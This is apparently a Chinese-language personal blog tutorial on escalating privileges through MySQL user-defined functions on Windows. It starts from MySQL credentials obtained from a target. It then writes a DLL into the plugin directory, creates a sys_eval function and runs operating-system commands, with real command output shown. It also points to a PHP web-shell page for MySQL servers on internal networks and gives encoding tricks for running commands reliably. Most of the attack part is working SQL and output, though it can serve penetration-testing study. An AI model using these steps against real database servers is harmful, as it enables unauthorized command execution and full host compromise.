本文解析Windows环境下的MySQL UDF提权

MySQL UDF提权

Windows环境下

概述

有时候我们通过一些方式获取了目标主机mysql的用户名和密码,并且可以远程连接,我们远程登录上mysql服务器,这时,我们想通过mysql来执行系统命令,此时我们可以考虑UDF进行提权

UDF(User Defined Function):用户自定义函数,其为MySQL的一个拓展接口,可以使用UDF为MySQL增添一些函数

前提条件

获取mysql控制权限:知道mysql用户名和密码,并且可以远程登录(即获取了mysql数据库的权限)

mysql具有写入文件的权限:mysql有写入文件的权限,即secure_file_priv的值为空

mysql提权获取到的权限大小跟运行mysql所在服务器登录的账号的权限相关,如操作系统以普通用户登录的并启动mysql,经udf提权后也只能获取到系统的普通用户权限。而使用管理员登录操作系统运行mysql,提权后获取的权限则为系统管理员权限

手工提权

查看MySQL是否有写入文件的权限

1
2
3
4
5
6
7
8
9
mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value |
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | |
+--------------------------+-------+
3 rows in set, 1 warning (0.00 sec)

secure_file_priv是用来限制load dumpfileinto outfileload_file()函数在哪个目录下拥有上传和读取文件的权限。如下关于secure_file_priv的配置介绍

  • secure_file_priv的值为null,表示限制mysqld 不允许导入|导出

  • secure_file_priv的值为/tmp/,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

  • secure_file_priv没有具体值时,表示不对mysqld 的导入|导出做限制

如果secure_file_priv的值不是为空,我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ' '

写入动态链接库

动态链接库就是实现共享函数库概念的一种方式,在Windows环境下后缀名为.dll,在linux环境下后缀名为.so,我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数

版本 路径
MySQL < 5.0 导出路径随意;
5.0 <= MySQL<= 5.1 需要导出至目标服务器的系统目录(如:c:/windows/system32/c:/windows
MySQL > 5.1 必须导出到MySQL安装目录下的lib\plugin文件夹下
查看版本
1
2
3
4
5
6
7
mysql> select version();
+-----------+
| version() |
+-----------+
| 5.7.26 |
+-----------+
1 row in set (0.00 sec)
查看plugin所在目录
1
2
3
4
5
6
7
8
mysql> show variables like '%plugin%';
+-------------------------------+----------------------------------------------------+
| Variable_name | Value |
+-------------------------------+----------------------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | D:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ |
+-------------------------------+----------------------------------------------------+
2 rows in set, 1 warning (0.01 sec)

虽然plugin目录不存在但是这里会显示出来

我这边版本大于5.7.26,所以放在/lib/plugin下,但需要手动创建,网上说可以结合ntfs特性实现用MySQL创建文件夹,但是我这边尝试失败,为了实验需要,我自己创建一个plugin文件夹

查看系统架构
1
2
3
4
5
6
7
8
mysql> show variables like '%compile%';
+-------------------------+--------+
| Variable_name | Value |
+-------------------------+--------+
| version_compile_machine | x86_64 |
| version_compile_os | Win64 |
+-------------------------+--------+
2 rows in set, 1 warning (0.00 sec)

如上显示mysql是64位,操作系统是x86_64

这里我们上传64位的dll文件

直接写入16进制数据:

MySQL UDF提权16进制查询 | Ziekun

创建自定义函数

上传之后,使用如下命令创建自定义函数

1
create function sys_eval returns string soname 'udf.dll';

只有两个变量:

  • 一个是函数名,我们引入的函数是 sys_eval
  • 一个是共享包名称,即 udf.dll

注意:自定义函数并不是随便命名的,其名称要dll文件中我们自定义函数名称一样

然后使用命令查看是否新增sys_eval函数

1
2
3
4
5
6
7
mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_eval | 0 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)

执行系统命令

1
2
3
4
5
6
7
mysql> select sys_eval('whoami');
+----------------------+
| sys_eval('whoami') |
+----------------------+
| laptop-fiogpvd7\asus |
+----------------------+
1 row in set (0.62 sec)

删除自定义函数

1
drop function sys_eval;

UDF shell

假设目标 MySQL 在内网情况下,无法直连 MySQL 或者 MySQL 不允许外连,这个时候一些网页脚本就比较方便好用了

t00ls UDF.PHP 简单方便,一键 DUMP UDF 和函数,操作门槛降低了很多

使用时将udf.php放在WWW目录下,访问127.0.0.1/udf.php,登录后:

image-20250807090301680

也可以用Navicat MySQL

中文字符编码问题

在中文Windows系统环境下,cmd.exe默认使用GBK字符集进行输入输出处理,这意味着:

  • 从数据库传递给cmd的命令参数必须是GBK编码
  • cmd执行结果的输出也是GBK编码
  • 如果字符集不匹配,就会出现乱码或命令执行失败

输出结果编码错误

在中文Windows环境下MySQL UDF提权中,最常见的问题是执行结果的编码问题:

1
select sys_eval('dir F:\\');

对应的解决办法很简单,udf函数外加一层编码转化的函数

1
select convert(sys_eval('dir F:\\') using gbk);

命令中非ASCII字符处理

当命令参数包含中文,由于MySQL输入会根据默认字符集(utf8mb4/latin1)编码对应的命令进入命令行解释器

1
select convert(sys_eval('dir F:\\黑子') using gbk);

发现中文消失不见了,如何解决呢?

16进制编码

使用CyberChef将命令转换为对应编码的十六进制

然后使用十六进制替代原有的字符串,防止MySQL因为默认编码问题导致的含有中文命令执行错误问题

注意:16进制编码时不用多加个\进行转义

1
select convert(sys_eval(0x64697220463a5cbadad7d3) using gbk);

编码函数

既然又是编码问题,那再次使用MySQL的编码转化的函数不就好了吗?何必转成16进制这么麻烦

1
select convert(sys_eval(convert('dir F:\\黑子' using gbk)) using gbk);

参考:

Mysql之UDF提权 | 白泽

MySQL UDF提权执行系统命令 | 白泽

MySQL 漏洞利用与提权 | 国光

Sql注入-Windows下利用udf提权

利用MySQL UDF进行的一次渗透测试

数据库提权中的字符集挑战 | Wells


猫猫🐱



© 2025 子非鲲 使用 Stellar 创建
共发表 48 篇 Blog · 总计 118.6k 字